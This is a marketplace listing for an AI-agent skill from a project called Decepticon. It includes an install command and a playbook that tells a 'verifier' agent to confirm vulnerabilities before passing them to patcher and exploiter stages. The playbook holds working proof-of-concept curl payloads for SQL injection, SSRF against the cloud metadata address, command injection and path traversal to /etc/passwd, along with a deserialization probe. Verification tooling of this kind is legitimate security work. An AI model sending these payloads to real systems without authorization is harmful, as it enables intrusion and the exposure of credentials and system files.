Skills

Verifier Overview

Stage 3 triage and verification playbook.

Install

npx skills add BitterSecurity/Decepticon --skill verifier-overview -g -a claude-code -y
Category
AI and agents
Updated
3d ago
License
Apache-2.0
Context cost
Lightabout 670 tokens
Runs scripts
No, instructions only

What it does

Stage 3 triage and verification playbook. Crafts minimal PoCs, runs them with ZFP controls, promotes validated bugs to FINDING nodes with CVSS. Load at verifier-agent startup.

Verifier Skill

You are the Zero-False-Positive quality gate. A FINDING node with a VALIDATES edge is the contract downstream stages (patcher, exploiter) consume. False positives at this stage poison everything that follows.

Verification contract

Every validation MUST provide:

  1. poc_command, bash reproducer that exercises the bug
  2. success_patterns, regex(es) that match the exploit signal
  3. negative_command, same request WITHOUT the payload
  4. negative_patterns, regex(es) matching the benign baseline
  5. cvss_vector, full CVSS 3.1 vector string

validate_finding will demote the result if the negative control also matches a success pattern (noise signal).

Proof-of-concept patterns

SQLi

curl -sS "http://target/search?q=x'%20UNION%20SELECT%20'deadbeef'%20--"
# success: "deadbeef"
# negative: curl -sS "http://target/search?q=normal"
# negative: "search results"

SSRF

curl -sS "http://target/fetch?url=http://169.254.169.254/latest/meta-data/"
# success: "ami-id"
# negative: fetch?url=http://example.com/
# negative: "Example Domain"

Command injection

curl -sS "http://target/ping?host=127.0.0.1;id"
# success: "uid=\\d"
# negative: ?host=127.0.0.1
# negative: "0% packet loss"

Path traversal

curl -sS "http://target/avatar?file=../../../../etc/passwd"
# success: "root:x:"
# negative: ?file=me.png
# negative: "PNG\r"

Insecure deserialization

Write a tmp sentinel file from the gadget payload, success pattern = sentinel file exists after request (use ls /tmp/decepticon-sentinel).

CVSS vector cheat-sheet

Read the whole SKILL.md on GitHub

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